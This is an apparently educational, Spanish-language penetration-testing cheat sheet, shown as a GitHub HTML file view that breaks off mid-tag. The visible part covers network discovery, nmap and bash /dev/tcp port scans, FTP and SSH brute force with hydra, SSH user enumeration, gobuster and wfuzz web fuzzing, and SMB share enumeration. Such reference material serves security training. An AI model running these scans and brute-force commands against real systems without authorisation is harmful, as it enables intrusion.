-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsecuritixplore.html
2668 lines (2646 loc) · 152 KB
/
securitixplore.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SecuritiXplore</title>
<link rel="stylesheet" type="text/css" href="css/styles.css">
<link rel="stylesheet" type="text/css" href="css/securityxplorepagina.css">
<link rel="icon" href="img/favicon.ico" type="image/x-icon" />
<style>
h1.title {
margin-left: 20px;
/* Ajusta el valor según tus necesidades */
}
.content-item {
display: none;
}
</style>
</head>
<body>
<header class="menu_security_1">
<h1 class="title">SecuritiXplore</h1>
<a class="menu_security" href="index.html">Inicio</a>
</header>
<section id="menu">
<ul>
<li><a href="#enumeration-exploitation">ENUMERATION & EXPLOITATION</a>
<ul class="submenu">
<li><a href="#recognition">RECOGNITION</a></li>
<li><a href="#network-services">NETWORK SERVICES</a></li>
</ul>
</li>
<li><a href="#web-vulnerabilities">WEB VULNERABILITIES</a>
<ul class="submenu">
<li><a href="#command-injection">Command Injection</a></li>
<li><a href="#csrf">CSRF (Cross Site Request Forgery)</a></li>
<li><a href="#file-inclusion">File Inclusion</a></li>
<li><a href="#file-upload">File Upload</a></li>
<li><a href="#nosql-injection">NoSQL Injection</a></li>
<li><a href="#path-traversal">Path Traversal</a></li>
<li><a href="#sql-injection">SQL Injection</a></li>
<li><a href="#ssrf">SSRF (Server Side Request Forgery)</a></li>
<li><a href="#ssti">SSTI (Server Side Template Injection)</a></li>
<li><a href="#xss">XSS (Cross Site Scripting)</a></li>
<li><a href="#xxe">XXE (XML External Entity)</a></li>
</ul>
</li>
<li><a href="#active-directory">ACTIVE DIRECTORY</a>
<ul class="submenu">
<li><a href="#active-directory">ACTIVE DIRECTORY</a></li>
</ul>
</li>
<li><a>|</a>
<li><a href="#post-exploitation">POST EXPLOITATION</a>
<ul class="submenu">
<li><a href="#reverse-shell">REVERSE SHELL</a></li>
<li><a href="#file-transfer">FILE TRANSFER</a></li>
</ul>
</li>
<li><a href="#privilege-escalation">PRIVILEGE ESCALATION</a>
<ul class="submenu">
<li><a href="#linux-privilege-escalation">Linux Privilege Escalation</a></li>
<li><a href="#windows-privilege-escalation">Windows Privilege Escalation</a></li>
</ul>
</li>
<li><a>|</a>
<li><a href="#scripts">SCRIPTS</a>
<ul class="submenu">
<li><a href="#directorybrute">Directorybrute Herramienta</a></li>
<li><a href="#cerbero">Cerbero Herramienta</a></li>
<li><a href="#subruteforce">suBruteforce Herramienta</a></li>
<li><a href="#sqlinjectionscripts">SQL Injection Scripts</a></li>
</ul>
</li>
</ul>
</section>
<section id="terminal">
<div class="terminal-message">
<p>Welcome to SecuritiXplore. Select an option from the menu above:</p>
<p>Available options: ENUMERATION & EXPLOITATION, WEB VULNERABILITIES, ACTIVE DIRECTORY, POST EXPLOITATION,
PRIVILEGE ESCALATION</p>
<p>Type "help" for assistance.</p>
</div>
</section>
<section id="content">
<div id="recognition" class="content-item">
<h2>$ RECOGNITION _</h2>
<br>
<p>En la fase de reconocimiento de las pruebas de penetración, el objetivo principal es recopilar datos
esenciales sobre los sistemas de la red objetivo mediante la construcción de un mapa de red detallado.
Este paso crucial sienta las bases para un mayor análisis y una posible explotación.</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">HOST DISCOVERY</h3>
<br>
<p>El paso inicial en el mapeo de la red implica identificar los hosts activos dentro de la red. Esto puede
ser realizando barridos de ping y escaneos ARP para enumerar los hosts.</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">ARP Scan</h3>
<br>
<div class="command-container">
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">arp-scan</span>
<span style="color: rgb(180, 109, 68);">-I</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">interface</span><span
style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">--localnet</span>
<span style="color: rgb(180, 109, 68);">--ignoredups</span>
<!-- <button id="copyButton" class="copy-button" onclick="copyCommand()">Copiar</button> -->
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">NMAP PING SCAN</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-sn</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">network</span><span
style="color: rgb(167, 82, 33)">></span><span style="color: rgb(180, 109, 68);">/</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">mask</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">BASH PING SWEEP</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">bash</span>
<span style="color: rgb(180, 109, 68);">-c</span>
<span style="color: rgb(179, 179, 179);">'</span>
<span style="color: rgb(179, 179, 179);">n=</span>
<span style="color: rgb(179, 179, 179)"><network></span>
<span style="color: rgb(179, 179, 179);"> ;</span>
<span style="color: rgb(179, 179, 179);">for i in </span>
<span style="color: rgb(179, 179, 179);">{1..254}</span>
<span style="color: rgb(179, 179, 179);">; do \</span>
<br>
<span style="color: rgb(179, 179, 179);">(</span>
<span style="color: rgb(179, 179, 179)">timeout 2</span>
<span style="color: rgb(179, 179, 179);"> ping -c 1</span>
<span style="color: rgb(179, 179, 179);"> $n.$i |</span>
<span style="color: rgb(179, 179, 179);"> grep -E -o</span>
<span style="color: rgb(179, 179, 179);"> "([0-9]{1,3}\.){3}[0-9]{1,3}:"</span>
<span style="color: rgb(179, 179, 179);"> | \</span>
<br>
<span style="color: rgb(179, 179, 179);"> tr -d ":"</span>
<span style="color: rgb(179, 179, 179);"> &); done; wait'</span>
</div>
<br>
<div class="command_into" style="font-weight: bold;">
<img src="img/exclamation.png" alt="Exclamation Icon" class="icon">
<span style="color: rgb(225, 225, 225);">Specify</span>
<span style="color: rgb(225, 225, 225);">the</span>
<div class="command_into_command" style="font-weight: bold;">
<span style="color: rgb(225, 225, 225)"><network></span>
</div>
<span style="color: rgb(225, 225, 225);">without</span>
<span style="color: rgb(225, 225, 225);">the</span>
<span style="color: rgb(225, 225, 225);">last</span>
<span style="color: rgb(225, 225, 225);">octet</span>
<div class="command_into_command" style="font-weight: bold;">
<span style="color: rgb(225, 225, 225);">(e.g. 192.168.1)</span>
</div>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">PORT SCAN</h3>
<br>
<p>Después de completar la enumeración de la red e identificar nuestros objetivos, el siguiente paso
consiste en escanear los puertos abiertos en los hosts para descubrir vulnerabilidades y posibles
vectores de ataque.</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Nmap TCP Port Scan</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-p-</span>
<span style="color: rgb(180, 109, 68);">--open</span>
<span style="color: rgb(180, 109, 68);">-sS</span>
<span style="color: rgb(180, 109, 68);">-n</span>
<span style="color: rgb(180, 109, 68);">-v</span>
<span style="color: rgb(180, 109, 68);">-Pn</span>
<span style="color: rgb(180, 109, 68);">--min-rate</span>
<span style="color: rgb(216, 162, 85);">5000</span>
<span style="color: rgb(180, 109, 68);">-oN</span>
<span style="color: rgb(180, 109, 68);">allPorts</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Bash TCP Port Scan</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">bash</span>
<span style="color: rgb(180, 109, 68);">-c</span>
<span style="color: rgb(179, 179, 179);">'</span>
<span style="color: rgb(179, 179, 179);">ip=</span><span
style="color: rgb(179, 179, 179);"><</span><span
style="color: rgb(179, 179, 179);">target</span><span
style="color: rgb(179, 179, 179);">></span><span style="color: rgb(179, 179, 179);">;</span>
<span style="color: rgb(179, 179, 179);">for</span>
<span style="color: rgb(179, 179, 179);">port</span>
<span style="color: rgb(179, 179, 179);">in</span>
<span style="color: rgb(179, 179, 179);">$(seq</span>
<span style="color: rgb(179, 179, 179);">1</span>
<span style="color: rgb(179, 179, 179);">65535</span><span
style="color: rgb(179, 179, 179);">);</span>
<span style="color: rgb(179, 179, 179);">do</span>
<br>
<span style="color: rgb(179, 179, 179);">(echo</span>
<span style="color: rgb(179, 179, 179);">></span>
<span style="color: rgb(179, 179, 179);">/dev/tcp/</span><span
style="color: rgb(179, 179, 179);">$ip</span><span
style="color: rgb(179, 179, 179);">/</span><span
style="color: rgb(179, 179, 179);">$port</span><span style="color: rgb(179, 179, 179);">)</span>
<span style="color: rgb(179, 179, 179);">></span>
<span style="color: rgb(179, 179, 179);">/dev/null</span>
<span style="color: rgb(179, 179, 179);">2>&1</span>
<span style="color: rgb(179, 179, 179);">&&</span>
<br>
<span style="color: rgb(179, 179, 179);">echo</span>
<span style="color: rgb(179, 179, 179);">-e</span>
<span style="color: rgb(179, 179, 179);">"$port\033[K"</span>
<span style="color: rgb(179, 179, 179);">&</span>
<span style="color: rgb(179, 179, 179);">if</span>
<span style="color: rgb(179, 179, 179);">[</span>
<span style="color: rgb(179, 179, 179);">$((port</span>
<span style="color: rgb(179, 179, 179);">% 200))</span>
<span style="color: rgb(179, 179, 179);">-eq 0</span>
<span style="color: rgb(179, 179, 179);">];</span>
<br>
<span style="color: rgb(179, 179, 179);">then</span>
<span style="color: rgb(179, 179, 179);">wait;</span>
<span style="color: rgb(179, 179, 179);">fi;</span>
<span style="color: rgb(179, 179, 179);">echo</span>
<span style="color: rgb(179, 179, 179);">-ne</span>
<span style="color: rgb(179, 179, 179);">"$port/65535\r";</span>
<span style="color: rgb(179, 179, 179);">done;</span>
<span style="color: rgb(179, 179, 179);">wait'</span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Bash TCP Port Scan</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-sU</span>
<span style="color: rgb(180, 109, 68);">-F</span>
<span style="color: rgb(180, 109, 68);">-oN</span>
<span style="color: rgb(180, 109, 68);">udpPorts</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Service & Version Detection</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-p</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">port/s</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">-sCV</span>
<span style="color: rgb(180, 109, 68);">-oN</span>
<span style="color: rgb(180, 109, 68);">portScan</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Nmap Scripts</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-p</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">port/s</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">--script</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">script</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<div class="command_into" style="font-weight: bold;">
<img src="img/exclamation.png" alt="Exclamation Icon" class="icon">
<span style="color: rgb(225, 225, 225);">You</span>
<span style="color: rgb(225, 225, 225);">can</span>
<span style="color: rgb(225, 225, 225);">list</span>
<span style="color: rgb(225, 225, 225);">all</span>
<span style="color: rgb(225, 225, 225);">available</span>
<span style="color: rgb(225, 225, 225);">Nmap</span>
<span style="color: rgb(225, 225, 225);">scripts</span>
<span style="color: rgb(225, 225, 225);">using</span>
<span style="color: rgb(225, 225, 225);">the</span>
<span style="color: rgb(225, 225, 225);">following</span>
<span style="color: rgb(225, 225, 225);">command:</span>
<div class="command_into_command2" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(53, 81, 98);"># List nmap nse scripts</p>
<p><span style="color: rgb(20, 115, 120);">ls</span> <span
style="color: rgb(180, 109, 68);">/usr/share/nmap/scripts | grep</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">service</span><span
style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># Get info about a script</p>
<p><span style="color: rgb(20, 115, 120);">nmap</span> <span
style="color: rgb(180, 109, 68);">--script-help</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">script</span><span
style="color: rgb(167, 82, 33)">></span>
</p>
</div>
</div>
</div>
</div>
<div id="network-services" class="content-item">
<h2>$ NETWORK SERVICES _</h2>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Enumeration</h3>
<br>
<span>Detección de versión de servicio y valor predeterminado</span>
<span class="nmap-box" style="font-weight: bold;">nmap</span>
<span>scripts</span>
<br><br>
<h3 style="font-weight: bold; font-size: 150%;">Services</h3>
<br>
<h3 style="font-weight: bold; font-size: 150%;">FTP</h3>
<br>
<p>Anonymous Login</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">ftp <span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span
style="color: rgb(167, 82, 33)">></span></span>
<p style="color: rgb(231, 231, 231);"><span style="color: rgb(167, 82, 33)">></span>Name: <span
class="value">anonymous</span></p>
<p style="color: rgb(231, 231, 231);"><span style="color: rgb(167, 82, 33)">></span>Password: <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(231, 231, 231);">target</span><span
style="color: rgb(167, 82, 33)">></span>
</p>
</div>
<br>
<p>Brute Force</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">hydra</span>
<span style="color: rgb(180, 109, 68);">-L</span> <span
style="color: rgb(180, 109, 68);">usernames.txt</span>
<span style="color: rgb(180, 109, 68);">-P</span> <span
style="color: rgb(180, 109, 68);">passwords.txt</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">target</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">ftp</span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">SSH</h3>
<br>
<p>Cualquier versión de OpenSSH anterior a la 7.7 es vulnerable a la enumeración de usuarios
(CVE-2018-15473) si no está parcheado. Para explotar esta vulnerabilidad, podemos utilizar el siguiente
script:</p>
<br>
<div class="box">
<h3>SSH User Enumeration</h3>
<p>Este script en Python permite enumerar usuarios SSH.</p>
<a href="https://github.com/villalbanico9/H4Ts/blob/main/Tools/Fuzzing%20%26%20Brute%20Force/SSH%20User%20Enumeration/ssh_user_enum.py"
target="_blank">Ver en GitHub</a>
</div>
<br>
<p style="color: rgb(69, 69, 69); font-weight: bold;">ssh_user_enum.py</p>
<br>
<p>Brute Force</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">hydra</span>
<span style="color: rgb(180, 109, 68);">-L</span> <span
style="color: rgb(180, 109, 68);">usernames.txt</span>
<span style="color: rgb(180, 109, 68);">-P</span> <span
style="color: rgb(180, 109, 68);">passwords.txt</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">target</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">ssh</span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">HTTP/HTTPS</h3>
<br>
<p>Enumere archivos y directorios básicos con scripts nmap</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">nmap</span>
<span style="color: rgb(180, 109, 68);">-p80,443</span> <span
style="color: rgb(180, 109, 68);">--script</span>
<span style="color: rgb(180, 109, 68);">http-enum</span> <span
style="color: rgb(180, 109, 68);">-oN</span>
<span style="color: rgb(180, 109, 68);">webScan</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<p style="font-weight: bold;">Web Technologies</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(229, 229, 229);">whatweb</span>
<span style="color: rgb(229, 229, 229);"><</span><span
style=" color: rgb(229, 229, 229);">target</span><span
style="color: rgb(229, 229, 229);">></span>
</div>
<br>
<span>También recomiendo usar el </span>
<a href="https://www.wappalyzer.com/apps/" target="_blank" class="nmap-box"
style="font-weight: bold; text-decoration: none;">Wappalizer</a>
<span> extensión del navegador.</span>
<br><br>
<p style="font-weight: bold;">File and Directory Enumeration</p>
<br>
<span>• </span><strong>Gobuster</strong>
<br><br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">gobuster</span>
<span style="color: rgb(180, 109, 68);">dir</span> <span style="color: rgb(180, 109, 68);">-u</span>
<span style="color: rgb(180, 109, 68);">http://</span><span
style="color: rgb(167, 82, 33)"><</span><span style="color: rgb(180, 109, 68)">target</span><span
style="color: rgb(167, 82, 33)">></span><span style="color: rgb(180, 109, 68);">/</span>
<span style="color: rgb(180, 109, 68);">-w</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">wordlist</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<div class="command_into" style="font-weight: bold;">
<img src="img/exclamation.png" alt="Exclamation Icon" class="icon">
<span style="color: rgb(225, 225, 225); display: block; margin-top: 10px;">Parámetros útiles:</span>
<div style="margin-top: 10px;">
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-t, --threads
<span class="nmap-box-into" style="margin-left: 20px;">Concurrent threads</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">--exclude-length
<span class="nmap-box-into" style="margin-left: 20px;">Exclude content length</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-s, --status-codes
<span class="nmap-box-into" style="margin-left: 20px;">White list status codes</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-b,
--status-codes-blacklist
<span class="nmap-box-into" style="margin-left: 20px;">Black list status codes</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-r,
--follow-redirect
<span class="nmap-box-into" style="margin-left: 20px;">Follow redirects</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">--proxy
<span class="nmap-box-into" style="margin-left: 20px;">Use Proxy
<span><</span><span>type:host:port</span><span>></span>
</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-k,
--no-tls-validation
<span class="nmap-box-into" style="margin-left: 20px;">Skip TLS verification</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">--timeout
<span class="nmap-box-into" style="margin-left: 20px;">HTTP Timeout</span></span>
</p>
</div>
</div>
<br>
<span>• </span><strong>Wfuzz</strong>
<br><br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">wfuzz</span>
<span style="color: rgb(180, 109, 68);">-w</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">wordlist</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">http://</span><span
style="color: rgb(167, 82, 33)"><</span><span style="color: rgb(180, 109, 68)">target</span><span
style="color: rgb(167, 82, 33)">></span><span style="color: rgb(180, 109, 68);">/</span><span
style="color: rgb(180, 109, 68);">FUZZ</span>
</div>
<br>
<div class="command_into" style="font-weight: bold;">
<img src="img/exclamation.png" alt="Exclamation Icon" class="icon">
<span style="color: rgb(225, 225, 225); display: block; margin-top: 10px;">Parámetros útiles:</span>
<div style="margin-top: 10px;">
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-t
<span><</span><span>threads</span><span>></span>
<span class="nmap-box-into" style="margin-left: 20px;">Concurrent threads</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-L, --follow
<span class="nmap-box-into" style="margin-left: 20px;">Follow redirects</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">-p
<span class="nmap-box-into" style="margin-left: 20px;">Use Proxy
<span><</span><span>host:port:type</span><span>></span></span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">--hc/hl/hw/hh
<span class="nmap-box-into" style="margin-left: 20px;">Hide
code/lines/words/chars</span></span>
</p>
<br>
<p><span class="nmap-box-into" style="color: rgb(225, 225, 225); display: block;">--sc/sl/sw/sh
<span class="nmap-box-into" style="margin-left: 20px;">Show
code/lines/words/chars</span></span>
</p>
</div>
</div>
<br>
<p style="font-weight: bold;">Subdomain Enumeration</p>
<br>
<span>• </span><strong>Gobuster</strong>
<br><br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(216, 216, 216);">gobuster</span>
<span style="color: rgb(216, 216, 216);">vhost</span>
<span style="color: rgb(216, 216, 216);">-u</span>
<span style="color: rgb(216, 216, 216);">http://</span><span
style="color: rgb(216, 216, 216);"><</span><span
style="color: rgb(216, 216, 216);">target</span><span
style="color: rgb(216, 216, 216);">></span><span style="color: rgb(216, 216, 216);">/</span>
<span style="color: rgb(216, 216, 216);">-w</span>
<span style="color: rgb(216, 216, 216);"><</span><span
style="color: rgb(216, 216, 216);">wordlist</span><span
style="color: rgb(216, 216, 216);">></span>
</div>
<br>
<span>• </span><strong>Wfuzz</strong>
<br><br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(216, 216, 216);">wfuzz</span>
<span style="color: rgb(216, 216, 216);">-H</span>
<span style="color: rgb(216, 216, 216);">'Host: FUZZ.<span
style="color: rgb(216, 216, 216);"><</span><span
style="color: rgb(216, 216, 216);">target</span><span
style="color: rgb(216, 216, 216);">></span>'</span>
<span style="color: rgb(216, 216, 216);">-w</span> <span
style="color: rgb(216, 216, 216);"><</span><span
style="color: rgb(216, 216, 216);">wordlist</span><span
style="color: rgb(216, 216, 216);">></span>
<span style="color: rgb(216, 216, 216);">http://</span><span
style="color: rgb(216, 216, 216);"><</span><span
style="color: rgb(216, 216, 216);">target</span><span
style="color: rgb(216, 216, 216);">></span><span style="color: rgb(216, 216, 216);">/</span>
</div>
<br>
<p style="font-weight: bold;">Exploitation</p>
<br>
<p>Una vez enumerada la web, es posible que desees explotar algunas vulnerabilidades web:</p>
<br>
<p style="font-weight: bold;">Para ello entrar en el apartado 'WEB VULNERABILITIES'</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">SMB</h3>
<br>
<p>Enumeración del sistema con <span class="nmap-box" style="font-weight: bold;">enum4linux</span></p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">enum4linux</span>
<span style="color: rgb(180, 109, 68);">-a</span>
<span style="color: rgb(180, 109, 68);">[-u</span> <span style="color: rgb(224, 224, 224);">'<span
style="color: rgb(224, 224, 224)"><</span><span
style="color: rgb(224, 224, 224)">username</span><span
style="color: rgb(224, 224, 224)">></span>'</span> <span
style="color: rgb(180, 109, 68);">-p</span> <span style="color: rgb(224, 224, 224);">'<span
style="color: rgb(224, 224, 224)"><</span><span
style="color: rgb(224, 224, 224)">password</span><span
style="color: rgb(224, 224, 224)">></span>'<span
style="color: rgb(180, 109, 68);">]</span></span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<p style="font-weight: bold;">Shares Enumeration</p>
<br>
<div class="command_into" style="font-weight: bold;">
<img src="img/exclamation.png" alt="Exclamation Icon" class="icon">
<span style="color: rgb(225, 225, 225); display: block; margin-top: 10px;">En sistemas Windows, es
posible que necesites evitar reacciones violentas:</span>
<div style="margin-top: 10px;">
<p><span class="nmap-box-into"
style="color: rgb(225, 225, 225); display: block;">\\\\<span><</span><span>target</span><span>></span><span>\\</span><span><</span><span>share</span><span>></span></span>
</p>
</div>
</div>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(53, 81, 98);"># null session</p>
<p><span style="color: rgb(20, 115, 120);">smbclient</span> <span style="color: rgb(180, 109, 68);">-N
-L</span> <span style="color: rgb(180, 109, 68);">//</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># authenticated</p>
<p><span style="color: rgb(20, 115, 120);">smbclient</span> <span
style="color: rgb(180, 109, 68);">-U</span> <span
style="color: rgb(165, 165, 165);">'username[%password]'</span> <span
style="color: rgb(180, 109, 68);">-L</span> <span
style="color: rgb(180, 109, 68);">//</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># conect to a share</p>
<p><span style="color: rgb(20, 115, 120);">smbclient</span> <span
style="color: rgb(165, 165, 165);">[-U</span> <span
